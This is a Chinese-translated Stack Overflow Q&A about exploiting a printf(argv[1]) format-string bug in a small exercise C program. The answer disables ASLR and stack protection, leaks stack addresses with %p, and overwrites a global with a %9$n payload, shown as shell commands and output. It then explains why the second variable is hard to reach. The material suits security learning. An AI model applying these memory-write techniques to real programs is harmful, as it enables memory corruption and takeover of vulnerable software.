c - 如何使用格式化字符串攻击

标签 c string security printf format-string

假设我有以下代码:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int num1 = 0;

int main(int argc, char **argv){
    double num2;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1== 2527){
        printf("Well done");
    }
    if(num2 == 4.56)
        printf("You are a format string expert");
    return 0;
}

我正试图了解如何正确地做这件事,但我无法根据互联网上的指南整理思路。

是否假设为:

./Program %p %p %p %p

然后

 ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n

我就是想不通, 请帮助我完成它。

这里的重点是通过prinft函数将一个字符串利用到一个正在运行的程序中。我需要同时打印“干得好”和“您是格式字符串专家”。 在我的例子中,通过 Linux 终端/shell。 正如 HuStmpHrrr 所指出的:这确实应该是白色黑客 - 软件安全

最佳答案

首先,我建议您阅读Hacking: The Art of Exploitation 这本书。非常好。

现在我尝试解释如何利用您的程序。我假设您了解有关格式字符串漏洞利用的一些基础知识,因此我不必从头开始。 但是,禁用 ASLR 并在没有堆栈保护的情况下编译可执行文件很重要。

# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c 

我稍微修改了你的程序,所以更容易理解漏洞利用的工作原理:

#include <stdio.h>

int num1 = 0xdead;

int main(int argc, char **argv){
    int num2 = 0xbeef;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1 == 0xabc){
        printf("Well done");
    }
    if(num2 == 0xdef)
        printf("You are a format string expert");

    printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
    return 0;
}

我正在使用 64 位 Ubunty 系统。指针大小为 8 个字节。

漏洞利用

变量 num1

首先我们尝试改变变量num1num1 的地址存储在ptr 中。 ptr是main中的一个局部变量,所以被压栈(int*类型)。要检查堆栈,我们可以使用 %p 格式说明符。

@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p

输出:

0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]

我们可以看到第 9 个元素的值为 0x601040。这与我们的调试消息 num1: 0xdead [0x601040] 中的值相同。现在我们知道 0x601040 是指向变量 num1 的指针,它位于堆栈中。要更改该值(写入内存),我们可以使用 %n 格式说明符结合直接参数访问 %9$n 来写入存储的地址在第 9 个堆叠位置。

要访问Well done 消息,我们只需将0xabc 值写入stdout 并使用%n 将该数字写入内存:

@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n

我使用 python 生成该输出。 现在程序打印“Well done”。

变量 num2

如果我们仔细查看输出,我们会发现第 8 个元素的值为 beef。那就是我们的变量 num2。我仍然没有弄清楚如何利用 num2 但我尝试从理论上解释如何进行。 我们想在堆栈上放置一个任意的内存地址。该地址应该是指向 num2 的地址 (0x7fffffffde84)。之后,我们可以使用 %n 参数写入该地址。要将地址放入堆栈,我们可以使用格式字符串。

@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`

问题是我们必须找到这个格式字符串在堆栈中的位置。

@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`

“A”和“B”只是填充,在输出中也更容易找到我们的地址。 该漏洞利用看起来类似于 num1 漏洞利用方式:

@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n

问题:在我们的场景中,num2 的地址是 0x7fffffffde84(即 0x00007fffffffde84)。该地址无法写入,因为 0x00 是 C 字符串终止符。所以我们不能把地址放在我们的格式字符串中。

关于c - 如何使用格式化字符串攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27018864/

相关文章:

c - 如果 void** 指针被类型转换为 "pointer to a COL size integer array"那么它的行为应该改变并且表现得像二维数组?

c++ - 字符串在函数中的作用域

java - 为什么无法执行包含 Java 中的 String[] 的 Julia 脚本

java - 在 Java 中将一个字符串重新排列为另一个字符串

c - 在澄清简单的汇编代码和有关我的分析的反馈方面需要帮助

c - ResumeThread 在这种特殊情况下不起作用

C 如何使用函数 uname

java - 缓存 KeyStore 的内容并将其转换为 InputStream

php - 如何限制一台机器上的PHP Web应用程序访问?

java - 使用HTTPS提交表单时是否需要对请求参数进行加密?